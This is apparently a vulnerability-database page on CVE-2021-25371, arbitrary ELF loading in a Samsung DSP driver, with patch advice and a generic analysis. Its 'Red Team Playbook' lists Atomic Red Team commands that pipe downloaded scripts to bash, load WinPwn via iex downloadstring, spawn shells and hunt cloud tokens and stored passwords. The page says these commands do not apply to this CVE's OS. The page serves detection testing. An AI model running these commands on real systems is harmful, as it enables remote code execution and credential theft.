CVE-2021-25371
Overview
This vulnerability is a privilege escalation flaw in the Digital Signal Processor (DSP) driver of Samsung Mobile Devices. The root cause lies in improper validation within the DSP driver that permits loading of arbitrary ELF libraries. The affected component is the DSP driver in Android versions prior to the SMR March 2021 Release 1, specifically impacting Samsung devices running Android 10 and 11 with earlier security patches.
Vulnerability Description
A vulnerability in DSP driver prior to SMR Mar-2021 Release 1 allows attackers load arbitrary ELF libraries inside DSP.
Impact
An attacker with high-level privileges on the device can exploit this vulnerability to execute arbitrary code within the DSP environment by loading malicious ELF libraries. This can lead to unauthorized control over DSP operations, potentially compromising sensitive audio or sensor processing functions. Exploitation requires existing high-privilege access, but no user interaction is necessary. The consequence includes possible escalation of privileges and persistent compromise of device subsystems critical for multimedia and sensor data processing.
Solution
Samsung has addressed this vulnerability in the SMR March 2021 Release 1 security update for Android 10 and 11 on Samsung Mobile Devices. Users should apply the security update available through Samsung’s official security update portal at https://security.samsungmobile.com/securityUpdate.smsb. Detailed patch instructions and version-specific advisories are provided on Samsung’s security website to ensure proper remediation of the DSP driver flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the DSP driver prior to the SMR Mar-2021 Release 1 presents a significant security risk by allowing unauthorized loading of arbitrary ELF libraries within the Digital Signal Processor (DSP) environment. This flaw arises from insufficient validation mechanisms that fail to restrict the types of libraries that can be loaded, enabling attackers to exploit this weakness. By leveraging this vulnerability, an attacker could potentially execute malicious code within the DSP, which is responsible for handling audio and other signal processing tasks on affected Android devices. The implications of this flaw are particularly concerning given the critical role that DSPs play in mobile device functionality, including voice recognition, audio processing, and other multimedia applications.
Attack vectors for this vulnerability are varied and can be executed through several means. An attacker could craft a malicious application that, once installed on a vulnerable device, attempts to load a malicious ELF library into the DSP. This could be achieved through social engineering tactics, such as tricking users into downloading and installing the compromised application. Additionally, if the attacker has access to the device through other means, such as physical access or through a compromised network, they could exploit this vulnerability directly. The ability to execute arbitrary code on the DSP could lead to a range of malicious activities, including the interception of audio data, manipulation of voice commands, or even the installation of additional malware that could further compromise the device.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Android devices for operations. The potential for data breaches is significant, as sensitive information could be intercepted or manipulated through the compromised DSP. Moreover, the risk of reputational damage is high, as customers may lose trust in organizations that fail to secure their devices adequately. The financial implications could also be severe, ranging from the costs associated with incident response and remediation to potential legal liabilities stemming from data protection regulations. For businesses that utilize Android devices in critical applications, the exploitation of this vulnerability could lead to operational disruptions and loss of competitive advantage.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patches from device manufacturers should be prioritized, ensuring that all devices are running the latest versions of the operating system and drivers. Additionally, organizations should employ application whitelisting to restrict the execution of unauthorized applications, thereby reducing the risk of malicious software being installed. Monitoring and logging of DSP activity can also help in identifying any unusual behavior that may indicate exploitation attempts. Furthermore, user education is vital; training employees to recognize phishing attempts and the importance of downloading applications only from trusted sources can significantly reduce the likelihood of exploitation.
In conclusion, the vulnerability within the DSP driver of certain Android versions poses a notable threat to both individual users and organizations. The ability to load arbitrary ELF libraries can lead to severe consequences, including data breaches and operational disruptions. By understanding the technical details, potential attack vectors, and real-world impacts of this vulnerability, organizations can better prepare themselves to detect and mitigate these risks effectively. A proactive security posture, combined with user awareness and timely updates, is essential in safeguarding against such vulnerabilities in the ever-evolving landscape of cybersecurity threats.
CVE-2021-25371 has recently been incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, reflecting a reassessment of its operational risk. This inclusion, accompanied by an updated CVSS score rising from 0.0 to 6.1, signals a shift in the vulnerability’s perceived exploitability and impact. While no new exploit techniques or active exploitation campaigns have been identified by our telemetry, the elevation in severity and the formal recognition by CISA underscore an increased priority for monitoring and mitigation efforts. The modest rise in EPSS score, though still low, indicates a slight uptick in the likelihood of exploitation attempts in the near term. For defenders, this change highlights the necessity to reassess asset inventories and patch management strategies related to affected Samsung mobile devices, as the vulnerability now carries a medium risk rating that could be leveraged in targeted attacks. The absence of confirmed ransomware group involvement does not diminish the importance of vigilance, given the potential for arbitrary ELF library loading to facilitate privilege escalation or persistent compromise. Overall, this update elevates the threat profile of CVE-2021-25371, warranting closer scrutiny within mobile device security programs.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-feb-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jan-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-feb-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-jan-2021-r1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-133 | Try All Common Switches |
30%
|
— | Medium | |
| CAPEC-190 | Reverse Engineer an Executable to Expose Assumed Hidden Functionality |
30%
|
— | Low |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-25371 |
| security.samsungmobile.com |
GitHub CVE
x_refsource_CONFIRM
|
https://security.samsungmobile.com/securityUpdate.smsb |
| security.samsungmobile.com |
GitHub CVE
x_refsource_MISC
|
https://security.samsungmobile.com |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-25371 |